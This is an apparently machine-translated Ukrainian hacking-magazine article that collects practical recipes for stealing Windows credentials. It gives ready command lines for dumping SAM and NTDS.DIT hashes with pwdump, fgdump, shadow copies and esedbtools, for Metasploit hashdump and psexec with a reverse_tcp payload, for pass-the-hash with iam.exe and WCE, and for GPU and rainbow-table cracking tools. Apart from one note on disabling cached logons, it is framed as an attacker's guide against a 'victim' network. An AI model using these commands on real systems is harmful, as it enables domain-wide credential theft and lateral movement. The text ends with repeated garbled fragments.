Як сдампіть хеші паролів від учеток Windows-системи

  1. Зміст статті Ця стаття являє собою повний збірник рецептів, що описують, як сдампіть хеші призначених...
  2. PwDump і fgdump
  3. Дамп паролів за допомогою Volume Shadow Copy Service
  4. Дамп паролів всіх користувачів домену!
  5. HashGrab2 + samdump2
  6. Вимикаємо кешування хешів паролів
  7. можливості Metasploit
  8. Техніка Pass-the-Hash
  9. Windows Credentials Editor
  10. Програми для злому хешей
  11. lm2ntcrack
  12. ighashgpu
  13. CUDA-Multiforcer
  14. ophcrack
  15. John the Ripper
  16. висновок

Зміст статті

Ця стаття являє собою повний збірник рецептів, що описують, як сдампіть хеші призначених для користувача паролів, відновити вихідний пас шляхом виконання брутфорса і отримати за допомогою витягнутого хешу доступ до захищених ресурсів, використовуючи недоробки протоколу аутентифікації NTLM. Мінімум теорії - тільки практика. Ми зібрали все в одному місці і створили повний мануал.

Де паролі?

Відразу відповім на питання про те, де зберігаються хеші паролів в системі. У загальному випадку їх можна витягнути з трьох місць:

  • з локальної SAM-бази, де зберігаються LM / NTLM-хеш-кодування локальних користувачів;
  • з кеша LSA, в який потрапляють LM / NTLM-хеш-кодування доменних користувачів, стираються після перезавантаження;
  • зі спеціального кеша, де зберігаються MSCache-хеші паролів десяти останніх користувачів, які авторизувалися на даному хості (паролі кешуються, щоб можна було увійти в систему, якщо зв'язок з доменом тимчасово відсутня).

Якщо використовується контролер домену, є ще AD-сховище. Важливо розуміти одне: з кожного зазначеного місця паролі можна сдампіть! Більшість наведених нижче прийомів давно відомі, але ми вирішили зробити свого роду повний збірник рецептів, до якого ти завжди зможеш звернутися при необхідності. Нижче 7 готових до вживання рецептів.

PwDump і fgdump

Почнемо з ситуації, коли у нас є фізичний доступ до цікавить нас системі. В цьому випадку NTLM / LM-хеш-кодування можна сдампіть за допомогою спеціальних утиліт. Здебільшого ці тулзи вимагають високих привілеїв, так як вони необхідні для DLL-Інжект за допомогою SeDebugPrivilege. Будемо для простоти вважати, що у нас є аккаунт з правами адміністратора (а ще краще NT AUTHORITY \ SYSTEM).

Будемо для простоти вважати, що у нас є аккаунт з правами адміністратора (а ще краще NT AUTHORITY \ SYSTEM)

Отримуємо хеші локальних користувачів за допомогою pwdump

Якщо є фізичний доступ, здам хеші досить просто: є багато способів, до того ж завжди можна завантажити з флешки (або LiveCD), наприклад, Kon-Boot , Щоб увійти в систему під будь-яким користувачем. Є й багато інших хаков (в тому числі для підвищення привілеїв до NT AUTHORITY \ SYSTEM з локального адміна), про які ми не раз писали в рубриці EasyHack в минулому році. Але повернемося до процесу вилучення хешів. Найвідомішими утилітами для створення дампа хешів є pwdump і fgdump . Працювати з цими ТУЛЗ досить просто, та й по функціоналу вони дуже схожі. Для дампа хешів досить просто запустити проги:

pwdump localhost fgdump.exe

Перша утиліта виводить знайдені хеші безпосередньо в консоль. Друга ж зберігає результат в файлах 127.0.0.1.PWDUMP (хеші паролів локальних користувачів) і 127.0.0.1.CACHEDUMP (закеширувалася хеші паролів доменних користувачів).

Одна з найбільш цікавих опцій, яку підтримують обидві утиліти, дозволяє дампи хеші з віддалених машин. Щоб провернути цей фокус, скажімо, за допомогою pwdump, треба виконати:

> Pwdump -o mytarget.log -u MYDOMAIN \ someuser -p \ 'lamepassword' 10.1.1.1

Тут 10.1.1.1 - адреса віддаленої машини, MYDOMAIN \ someuser - аккаунт користувача, lamepassword - пароль користувача, а mytarget.log - файл для збереження результатів. На відміну від pwdump, fgdump вміє дампи хеши не тільки з однієї машини, а відразу з декількох:

> Fgdump.exe -f hostfile.txt -u MYDOMAIN \ someuser -T 10

В даному випадку hostfile.txt - файл, що містить список хостів, «-T 10» - кількість паралельно працюючих потоків. Отриманий хеш можна спробувати сбрутфорсіть за допомогою спеціальних утиліт, щоб дізнатися вихідний пас (шукай цілу добірку відповідних тулз на врізки).

Примітно, що деякі з них для більшої зручності підтримують формат виведення fgdump.exe.

Дамп паролів за допомогою Volume Shadow Copy Service

Якщо утилітам на кшталт pwdump і fgdump сто років в обід, то спосіб дампінгу паролів, про який піде мова далі, з'явився відносно недавно. Що крутіше за все, він взагалі не потребує сторонніх інструментів і задіє тільки можливості самої системи. Як ми вже знаємо, хеші паролів локальних користувачів зберігаються в тому числі і в файлі SAM, правда, в зашифрованому вигляді. Тому, щоб прочитати їх, потрібно ще один файл - SYSTEM. Ці два файли являють собою системні гілки реєстру, які ОС постійно використовує, тому доступ до них неможливий навіть з-під адміністратора. Через це багатьом додаткам, які витягують хеші паролів, доводиться йти на хитрощі, щоб отримати доступ до цих гілок. Ми ж, щоб скопіювати ці файли, скористаємося легальним механізмом, який надає сама ОС. Цей механізм, що дозволяє робити «миттєвий знімок» томи, називається Volume Shadow Copy Service (тіньове копіювання тому). Він з'явився в ОС Windows починаючи з версій XP і Server 2003. Ця технологія автоматично використовується, наприклад, при створенні архіву System State за допомогою утиліти ntbackup або при створенні знімка для загальної папки (Volume Shadow Copy for Shared Folders). Суть ідеї полягає в тому, що при тіньовому копіюванні будуть створені копії важливих системних файлів (зокрема, SAM і SYSTEM), доступ до яких ми зможемо легко отримати. Щоб позбутися від зайвої роботи в консолі, скористаємося невеликим скриптик vssown.vbs , Керуючим створенням копій. Сценарій ти знайдеш на нашому диску. Для початку запускаємо сервіс тіньового копіювання: cscript vssown.vbs / start. Потім створюємо нову тіньову копію: cscript vssown.vbs / create. Тепер дивимося список всіх тіньових копій: cscript vssown.vbs / list.

Створена нами копія буде самої останньої. З усієї інформації нас цікавить Device object зі значенням «\? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy14» (тут 14 - номер тіньової копії). Подальші маніпуляції гранично прості.

  1. Копіюємо цікавлять нас файли: copy \? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy14 \ windows \ system32 \ config \ SYSTEM. copy \? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy14 \ windows \ system32 \ config \ SAM.
  2. Все, тепер ці файли можна згодувати який-небудь утиліті типу SAMInside для розшифровки отриманих хешів.

Дамп паролів всіх користувачів домену!

Цікаво, що використовуючи попередній прийом, можна легко злити хеші паролів не тільки локальних, але і взагалі всіх доменних користувачів! Правда, тільки якщо у нас є доступ до контролера домену. Припустимо, ми створили тіньову копію і скопіювали файли SAM і SYSTEM. Active Directory зберігає дані про користувачів у файлі NTDS.DIT, так що потрібно скопіювати і його:

copy \\? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy14 \ windows \ ntds \ ntds.dit.

Дані про користувачів зберігаються в зашифрованому вигляді, тому їх потрібно буде розшифровувати за допомогою файлу SYSTEM. Отже, що ми маємо? У нас є файли SYSTEM і NTDS.DIT, але як нам отримати список користувачів і їх хешів? До недавнього часу це було непросто, так як безкоштовних утиліт, здатних розпарсити NTDS.DIT ​​і розшифрувати хеш-кодування, не існувало. Але недавно дослідник на ім'я Csaba Barta випустив тулку, який вміє розбирати файл NTDS.DIT ​​і витягувати звідти хеші. Весь інструментарій доступний за адресою csababarta.com/downloads/ntds dump hash.zip Подивимося, як цей тулку працює. Для подальших маніпуляцій будемо використовувати BackTrack5 (підійде будь-який інший Linux-дистрибутив), хоча все те ж саме можна провернути і під виндой. Завантажуємося, завантажуємо архів тулкіта і розпаковуємо його. Далі збираємо бібліотеку libesedb:

cd libesedb chmod + x configure ./configure && make

Тепер можна приступати до дампи хеш. Перш за все витягаємо таблицю, яка містить зашифровані дані:

cd esedbtools ./esedbdumphash ../../ntds.dit

У нас з'явився файл /libesedb/esedbtools/ntds.dit.export/datatable. Уже профіт. Тепер його треба розшифрувати за допомогою ключа, який міститься в SYSTEM:

cd ../../creddump/ python ./dsdump.py ../SYSTEM ../libesedb/esedbtools/ntds.dit.export/datatable

Готово! На виході отримуємо хеш-кодування всіх користувачів домену! Цікаво, що можна витягти ще й попередні паролі користувачів (їх хеши). Для цього в інструментарії є окрема утиліта, яку легко задіяти:

python ./dsdumphistory.py ../system ../libesedb/esedbtools/ntds.dit.export/datatable.

Якщо їх вдасться зламати, цілком можна простежити закономірність, відповідно до якої користувач змінює свої паролі (вона дуже часто існує).

HashGrab2 + samdump2

Щоб сдампіть хеші, необов'язково логінитися в системі. Знову ж таки, якщо є фізичний доступ до комп'ютера, то можна не тільки завантажити з LiveCD утиліту для скидання пароля (скажімо, Offline NT Password & Registry Editor), але і легко сдампіть хеши за допомогою спеціального софту - ще б пак, адже ніякі політики доступу до системних файлів тут не діють. Ми скористаємося утилітами HashGrab2 і samsump2 , Які можна запустити практично з будь-якого LiveCD-дистрибутива. HashGrab2 автоматично монтує всі Windows-розділи, які може знайти, і за допомогою samdump2 витягує логіни і хеши паролів з файлів SAM і SYSTEM. Ось як це виглядає на практиці:

> Sudo ./hashgrab2.py HashGrab v2.0 by s3my0n http://InterN0T.net Contact: RuSH4ck3R [at] gmail [dot] com [*] Mounted / dev / sda1 to / mnt / jomAT8 [*] Mounted / dev / sdb1 to / mnt / AZwJUs [*] Copying SAM and SYSTEM files ... [*] Unmounting partitions ... [*] Deleting mount directories ... [*] Deleting [ './jomAT8']> $ ls hashgrab2 .py jomAT8.txt> $ cat ./jomAT8.txt Administrator: HASH Guest: 501: HASH s3my0n: 1000: HASH HomeGroupUser $: 1002: HASH

Отримані хеші тут же можна згодувати брутфорсер.

Вимикаємо кешування хешів паролів

Як відомо, Windows кешує хеші паролів і логіни доменних користувачів, що дозволяє зайти на машину, якщо контролер домену відключений і недоступний. Якщо користувач вводить правильний логін і пароль, то при авторизації система зберігає хеш пароля на диску. Як ти сам розумієш, тримати такі дані на диску - не найкраще рішення з точки зору безпеки, так що цю функцію краще відключити. Для цього необхідно встановити ключ HKEY LOCAL MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ cachedlogonscount в значення «0». Потім треба перезавантажити комп'ютер, щоб видалити всі закеширувалася раніше паролі. З цього моменту винда НЕ буде кешувати паролі користувачів домену.

можливості Metasploit

Припустимо тепер, що у нас немає фізичного доступу до комп'ютера. Нехай замість цього у нас є віддалений шелл і в ідеалі Meterpreter. В Metasploit Framework вже вбудований функціонал для вилучення списку користувачів і хешів паролів. Робиться це в одну команду:

meterpreter> run post / windows / gather / hashdump

В результаті ми отримуємо список користувачів і хешів. Але зупинятися на досягнутому не варто. Metasploit - штука багатофункціональна, тому можна спробувати використовувати отримані хеші для доступу до інших комп'ютерів в мережі жертви - раптом підійдуть. Для цього знадобиться модуль PsExec:

meterpreter> use exploit / windows / smb / psexec meterpreter> set payload windows / meterpreter / reverse_tcp meterpreter> set rhost [адреса віддаленого хоста] meterpreter> set smbpass [раніше отриманий хеш користувача] meterpreter> set smbuser [логін користувача] meterpreter> set lhost [адреса локальної машини] meterpreter> exploit meterpreter> shell - отримали шелл на віддаленій машині

Як бачиш, все відбувається автоматично, без будь-яких складнощів. Щоб далі колупатися з будь-якими файлами системи, корисно відразу підняти права. Отримати їх можна прямо з Метерпретера, в якому є проста команда getsystem. Цей модуль спробує підняти права в ОС, використовуючи вразливості MS09-012, а також гучну вразливість MS10-015 (KiTrap0D) і не тільки.

Цей модуль спробує підняти права в ОС, використовуючи вразливості MS09-012, а також гучну вразливість MS10-015 (KiTrap0D) і не тільки

Cain & Abel - ще одна чудова тулза для брутфорса NTML хеш
(Крім цього підтримує злом хеш великої кількості інших алгоритмів)

Техніка Pass-the-Hash

В обох реалізаціях протоколу NTLM є велика дірка. Для аутентифікації досить знати тільки хеш користувача, тобто навіть Брут нічого не треба. Дістав хеш - і можеш лазити по сітці з правами скомпрометованого користувача :). Відповідний метод, який носить назву Pass The Hash, розроблений аж в 1997 році. Однією з його найвідоміших реалізацією є набір утиліт Pass-the-Hash Toolkit . У нього входить три утиліти: IAM.EXE, WHOSTHERE.EXE і GENHASH.EXE. Як видно з назви, GENHASH призначена для генерації LM- і NT-хеш-кодувань переданого їй пароля. WHOSTHERE.EXE, виводить всю інформацію про логін-сесіях, яку операційна система зберігає в пам'яті. Тулза відображає інформацію про користувачів, які на даний момент залягання в системі: ім'я користувача, домен / робочу групу і NTLM-хеш-кодування пароля. Утиліта IAM.EXE дозволяє прикинутися іншим користувачем при отриманні доступу до будь-якої папки на віддаленій машині, підміняючи дані поточного користувача (логін, хеш пароля, домен і т. Д.), Коли вони в закеширувалася вигляді відправляються віддаленої системи, щоб вона могла ідентифікувати користувача і вирішити, чи надавати йому доступ до запитуваного ресурсу. Після успішної заміни потребують з'єднання з мережею з'єднання з віддаленими серверами, які здійснюють аутентифікацію за допомогою NTLM-хешів, використовують підміненого дані, що дозволяє отримати доступ до «чужої» кулі. Розглянемо приблизний сценарій використання:

whosthere.exe - отримуємо дані всіх залогінених користувачів; • iam.exe -h administrator: mydomain: AAD3B435B51404EEAAD3B435B51404EE: 31D6CFE0D16AE931B73C59D7E0C089C0 - підміняємо свої дані на дані іншого користувача.

Ось, власне, і все, тепер ми маємо права для доступу до мережевих ресурсів іншого користувача.

Windows Credentials Editor

Підміняємо свої дані на дані іншого користувача за допомогою Windows Credentials Editor (WCE)

WCE являє собою аналог Pass-the-Hash Toolkit'а, однак тут весь функціонал зосереджений в одному виконуваному файлі. Цей інструмент мені подобається більше. При запуску без параметрів додаток повертає список користувачів, залогінених на даний момент в системі (утиліта витягує NTLM / LM-хеш-кодування з пам'яті):

wce.exe -l

Після цього можна вибрати з них відповідного кандидата для наших чорних справ і скористатися його даними. Припустимо, нам потрібно підмінити свої дані на дані іншого користувача і запустити якусь програму нібито вже з-під нього:

wce.exe -s <username>: <domain>: <lmhash>: <nthash> \ -c <program>.

Тоді виконуємо наступну команду:

wce.exe -s user: Victim: 1F27ACDE849935B0AAD3B435B51404EE: 579110C49145015C47ECD267657D3174 -c "c: \ Program Files \ Internet Explorer \ iexplore.exe"

Тут «-s» «додає» нового користувача з ім'ям user і доменом Victim, за якими слід LM- і NTLM-хеш, а «-з» вказує, яку програму слід запустити під цим користувачем. Як бачиш, все досить просто. 🙂

Програми для злому хешей

SAMInside

Розшифровуємо паролі за допомогою SAMInside

insidepro.com/rus/saminside.shtml Мабуть, найпопулярніша програма для злому NTLM-хешів. Дозволяє імпортувати понад десяти типів даних і використовувати шість видів атак для відновлення паролів пользователей.Код брутфорсер повністю написаний на Асмі, що забезпечує дуже високу швидкість перебору. Дуже важливо, що програма коректно витягує імена і паролі користувачів Windows в національних кодуваннях символів.

lm2ntcrack

www.xmco.fr/lm2ntcrack/index.html Невелика програмка, яка може виручити у важкий момент. Вона дозволяє зламати NT-хеш, коли LM-пароль вже відомий. Вся фішка в тому, що LM-пароль регістронезавісімий, а NT - чутливі до регістру і якраз по ньому і відбувається перевірка. Таким чином, якщо ти знаєш, що LM-пароль - ADMINISTRAT0R, але не знаєш, які букви заголовні, а які ні, тобі допоможе lm2ntcrack.

ighashgpu

www.golubev.com/hashgpu.htm Процес підбору дуже трудомісткий і займає багато часу. Тому, щоб якось його прискорити, доцільно використовувати ресурси найпотужнішого пристрою в системі - відеокарти. Програма ighashgpu дозволяє задіяти GPU для злому хешей MD4, MD5, SHA1, NTLM, Oracle 11g, MySQL5, MSSQL. Якщо при цьому використовувати атаку по словнику, успішний результат можна буде отримати набагато швидше.

CUDA-Multiforcer

www.cryptohaze.com/multiforcer.php Ще одна утиліта, яка використовує міць графічної карти для злому різних хешів. Як можна здогадатися з назви, орієнтована на відеокарти фірми nVidia. Підтримує значний список хешів: MD5, NTLM, MD4, SHA1, MSSQL, SHA, MD5 PS: md5 ($ pass. $ Salt), MD5 SP: md5 ($ salt. $ Pass), SSHA: base64 (sha1 ($ pass. $ salt)), DOUBLEMD5: md5 (md5 ($ pass)), TRIPLEMD5, LM: Microsoft LanMan hash і ін.

ophcrack

ophcrack.sourceforge.net Програма для відновлення паролів Windows з використанням rainbow-таблиць. У таких таблицях в особливій формі містяться попередньо розраховані хеші для різних паролів. Таким чином, знайшовши заданий хеш в таблиці, ми швидко отримуємо готовий пароль. Успіх безпосередньо залежить від розміру rainbow-таблиці. Так що, якщо не хочеться Брут пароль тупим перебором, рекомендую скачати табличку побільше.

John the Ripper

www.openwall.com Офіційна версія цього легендарного брутфорсер паролів не підтримує злом NTLM-хешів, але ентузіасти не могли не прокачати функціонал улюбленої хак-тулзи. Випущений спеціальний jumbo-патч, який дозволяє Брутфорс більше десяти додаткових видів хешів, в тому числі NTLM. На офсайте є як diff'и, які можна накласти на оригінальні сорци, так і готові до використання бінарники (в тому числі для win32).

висновок

Ось, власне, і все. Ми розглянули всі найбільш часто зустрічаються ситуації. Насправді існує набагато більше способів, що дозволяють відвести (наприклад, за допомогою сніфера) і використовувати хеш-кодування, але в більшості своїй вони зводяться до розглянутих вище методів.

Де паролі?
З усієї інформації нас цікавить Device object зі значенням «\?
Копіюємо цікавлять нас файли: copy \?
Copy \?
Отже, що ми маємо?
DIT, але як нам отримати список користувачів і їх хешів?